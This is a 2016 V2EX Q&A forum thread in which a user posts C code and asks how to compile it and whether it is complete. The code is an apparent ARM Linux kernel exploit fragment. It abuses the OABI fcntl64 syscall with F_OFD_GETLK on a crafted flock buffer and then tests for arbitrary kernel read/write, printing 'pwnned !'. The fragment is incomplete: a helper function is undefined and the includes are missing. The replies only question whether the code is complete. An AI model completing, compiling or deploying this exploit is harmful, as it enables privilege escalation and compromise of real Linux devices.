V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
makendk
V2EX  ›  问与答

有高人在吗 帮忙看看代码

  •  
  •   makendk · 2016-12-15 01:53:23 +08:00 · 1214 次点击
    这是一个创建于 2696 天前的主题,其中的信息可能已经有所发展或是发生改变。
    请问这段代码是否完整
    如何编译,如果可以编译的话 ,请哪位好心人帮忙编译一下 [email protected]

    __attribute__((naked)) long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd, unsigned long arg){
    __asm __volatile (
    "swi 0x9000DD\n"
    "mov pc, lr\n"
    :
    :
    :
    );
    }

    #define F_OFD_GETLK 36
    #define F_OFD_SETLK 37
    #define F_OFD_SETLKW 38

    int main(int argc, char const *argv[]){
    int fd = open("/proc/cpuinfo", O_RDONLY);
    struct flock *map_base = 0;

    if(fd == -1){
    perror("open");
    return -1;
    }
    map_base = (struct flock *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if(map_base == (void*)-1){
    perror("mmap");
    goto _done;
    }
    printf("map_base %p\n", map_base);
    memset(map_base, 0, 0x1000);
    map_base->l_start = SEEK_SET;
    if(sys_oabi_fcntl64(fd, F_OFD_GETLK, (long)map_base)){
    perror("sys_oabi_fcntl64");
    }
    // Arbitrary kernel read/write test
    if(try_to_read_kernel()){
    printf("pwnned !\n");
    }
    munmap(map_base, 0x1000);
    _done:
    close(fd);
    return 0;
    }
    3 条回复    2016-12-15 13:56:26 +08:00
    qwer1234asdf
        1
    qwer1234asdf  
       2016-12-15 11:09:58 +08:00
    你确定代码完整?
    makendk
        2
    makendk  
    OP
       2016-12-15 11:17:14 +08:00 via Android
    @qwer1234asdf 不知道 请大神你看一下
    makendk
        3
    makendk  
    OP
       2016-12-15 13:56:26 +08:00 via Android
    没有人吗
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   2209 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 546ms · UTC 10:20 · PVG 18:20 · LAX 03:20 · JFK 06:20
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.